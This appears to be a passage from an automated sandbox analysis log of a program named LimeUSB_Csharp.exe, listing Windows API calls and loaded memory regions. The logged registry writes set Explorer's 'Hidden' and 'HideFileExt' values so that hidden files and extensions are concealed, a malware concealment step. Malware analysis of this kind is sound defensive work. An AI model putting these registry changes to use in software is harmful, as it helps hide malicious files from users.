= 0x920 [0115.419] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0118.607] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x22e8e8 | out: phkResult=0x22e8e8*=0x1c4) returned 0x0 [0118.658] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e938, lpData=0x0, lpcbData=0x22e930*=0x0 | out: lpType=0x22e938*=0x4, lpData=0x0, lpcbData=0x22e930*=0x4) returned 0x0 [0118.658] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e938, lpData=0x22e918, lpcbData=0x22e930*=0x4 | out: lpType=0x22e938*=0x4, lpData=0x22e918*=0x2, lpcbData=0x22e930*=0x4) returned 0x0 [0118.673] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e8f8, lpData=0x0, lpcbData=0x22e8f0*=0x0 | out: lpType=0x22e8f8*=0x4, lpData=0x0, lpcbData=0x22e8f0*=0x4) returned 0x0 [0118.674] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x22e968*=0x2, cbData=0x4 | out: lpData=0x22e968*=0x2) returned 0x0 [0118.674] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e938, lpData=0x0, lpcbData=0x22e930*=0x0 | out: lpType=0x22e938*=0x4, lpData=0x0, lpcbData=0x22e930*=0x4) returned 0x0 [0118.674] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e938, lpData=0x22e918, lpcbData=0x22e930*=0x4 | out: lpType=0x22e938*=0x4, lpData=0x22e918*=0x1, lpcbData=0x22e930*=0x4) returned 0x0 [0118.675] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e8f8, lpData=0x0, lpcbData=0x22e8f0*=0x0 | out: lpType=0x22e8f8*=0x4, lpData=0x0, lpcbData=0x22e8f0*=0x4) returned 0x0 [0118.675] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x22e968*=0x1, cbData=0x4 | out: lpData=0x22e968*=0x1) returned 0x0 [0118.678] GetLogicalDrives () returned 0x4 [0118.696] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d878 | out: phkResult=0x22d878*=0x0) returned 0x2 [0118.697] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0118.754] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0118.756] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0118.758] CoGetContextToken (in: pToken=0x22f780 | out: pToken=0x22f780) returned 0x0 [0118.758] CObjectContext::QueryInterface () returned 0x0 [0118.758] CObjectContext::GetCurrentThreadType () returned 0x0 [0118.758] Release () returned 0x0 [0118.759] CoGetContextToken (in: pToken=0x22f220 | out: pToken=0x22f220) returned 0x0 [0118.759] CObjectContext::QueryInterface () returned 0x0 [0118.759] CObjectContext::GetCurrentThreadType () returned 0x0 [0118.759] Release () returned 0x0 [0118.760] CoGetContextToken (in: pToken=0x22f220 | out: pToken=0x22f220) returned 0x0 [0118.760] CObjectContext::QueryInterface () returned 0x0 [0118.760] CObjectContext::GetCurrentThreadType () returned 0x0 [0118.760] Release () returned 0x0 [0118.764] CoGetContextToken (in: pToken=0x22f220 | out: pToken=0x22f220) returned 0x0 [0118.764] CObjectContext::QueryInterface () returned 0x0 [0118.764] CObjectContext::GetCurrentThreadType () returned 0x0 [0118.764] Release () returned 0x0 [0118.766] CoGetContextToken (in: pToken=0x22f240 | out: pToken=0x22f240) returned 0x0 [0118.766] CObjectContext::QueryInterface () returned 0x0 [0118.766] CObjectContext::GetCurrentThreadType () returned 0x0 [0118.766] Release () returned 0x0 [0118.768] CoUninitialize () Thread: id = 50 os_tid = 0x924 Thread: id = 51 os_tid = 0x918 [0116.935] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0118.762] RegCloseKey (hKey=0x1c4) returned 0x0 [0118.762] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 52 os_tid = 0x914 Process: id = "15" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x160d7000" os_pid = "0x9a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2589 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2590 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2591 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2592 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2593 start_va = 0x330000 end_va = 0xdf3fff monitored = 1 entry_point = 0xdee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2594 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2595 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2596 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2597 start_va = 0x7fffa000 end_va = 0x7fffafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffa000" filename = "" Region: id = 2598 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2599 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2600 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2601 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2602 start_va = 0xe00000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2603 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2604 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2605 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2606 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2607 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2608 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2609 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2610 start_va = 0x1d0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2611 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2612 start_va = 0xf70000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 2613 start_va = 0xff0000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 2614 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2615 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2616 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2617 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2618 start_va = 0x1130000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 2619 start_va = 0x1220000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 2620 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2621 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2622 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2623 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2624 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2625 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2626 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2627 start_va = 0x1d0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2628 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2629 start_va = 0x1320000 end_va = 0x14a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001320000" filename = "" Region: id = 2630 start_va = 0x1d0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2631 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2632 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2633 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2634 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2635 start_va = 0x14b0000 end_va = 0x1630fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014b0000" filename = "" Region: id = 2636 start_va = 0x1640000 end_va = 0x2a3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001640000" filename = "" Region: id = 2637 start_va = 0x2a40000 end_va = 0x34fcfff monitored = 1 entry_point = 0x34fe3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2638 start_va = 0x2a40000 end_va = 0x34fcfff monitored = 1 entry_point = 0x34fe3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2639 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2640 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2641 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2642 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2643 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2644 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2645 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 2646 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2647 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2648 start_va = 0x7fe92350000 end_va = 0x7fe9235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92350000" filename = "" Region: id = 2649 start_va = 0x7fe92360000 end_va = 0x7fe9236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92360000" filename = "" Region: id = 2650 start_va = 0x7fe92370000 end_va = 0x7fe923fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92370000" filename = "" Region: id = 2651 start_va = 0x7fe92400000 end_va = 0x7fe9246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92400000" filename = "" Region: id = 2652 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2653 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2654 start_va = 0xff0000 end_va = 0x10affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 2655 start_va = 0x10b0000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 2656 start_va = 0x2a40000 end_va = 0x2b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 2657 start_va = 0x2d20000 end_va = 0x2e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 2658 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2659 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2660 start_va = 0x2e20000 end_va = 0x1ae1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 2661 start_va = 0x1ae20000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 2662 start_va = 0x2b60000 end_va = 0x2c60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 2663 start_va = 0x1b360000 end_va = 0x1b45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 2664 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2665 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 2666 start_va = 0x1b460000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b460000" filename = "" Region: id = 2667 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2671 start_va = 0x1b560000 end_va = 0x1b82efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2672 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2673 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2674 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2675 start_va = 0x7fe92470000 end_va = 0x7fe924effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92470000" filename = "" Region: id = 2676 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2677 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2678 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2679 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2680 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2681 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2682 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2683 start_va = 0x1b830000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b830000" filename = "" Region: id = 2684 start_va = 0x7fe924f0000 end_va = 0x7fe924fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe924f0000" filename = "" Region: id = 2685 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2686 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2696 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2702 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2704 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2705 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2706 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2707 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2708 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2710 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2711 start_va = 0x1ba20000 end_va = 0x1bcf1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 55 os_tid = 0x984 [0124.909] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0129.663] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1ce7a8 | out: phkResult=0x1ce7a8*=0x1c4) returned 0x0 [0129.667] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x1ce7f8, lpData=0x0, lpcbData=0x1ce7f0*=0x0 | out: lpType=0x1ce7f8*=0x4, lpData=0x0, lpcbData=0x1ce7f0*=0x4) returned 0x0 [0129.667] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x1ce7f8, lpData=0x1ce7d8, lpcbData=0x1ce7f0*=0x4 | out: lpType=0x1ce7f8*=0x4, lpData=0x1ce7d8*=0x2, lpcbData=0x1ce7f0*=0x4) returned 0x0 [0129.694] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x1ce7b8, lpData=0x0, lpcbData=0x1ce7b0*=0x0 | out: lpType=0x1ce7b8*=0x4, lpData=0x0, lpcbData=0x1ce7b0*=0x4) returned 0x0 [0129.696] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x1ce828*=0x2, cbData=0x4 | out: lpData=0x1ce828*=0x2) returned 0x0 [0129.697] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x1ce7f8, lpData=0x0, lpcbData=0x1ce7f0*=0x0 | out: lpType=0x1ce7f8*=0x4, lpData=0x0, lpcbData=0x1ce7f0*=0x4) returned 0x0 [0129.697] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x1ce7f8, lpData=0x1ce7d8, lpcbData=0x1ce7f0*=0x4 | out: lpType=0x1ce7f8*=0x4, lpData=0x1ce7d8*=0x1, lpcbData=0x1ce7f0*=0x4) returned 0x0 [0129.697] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, 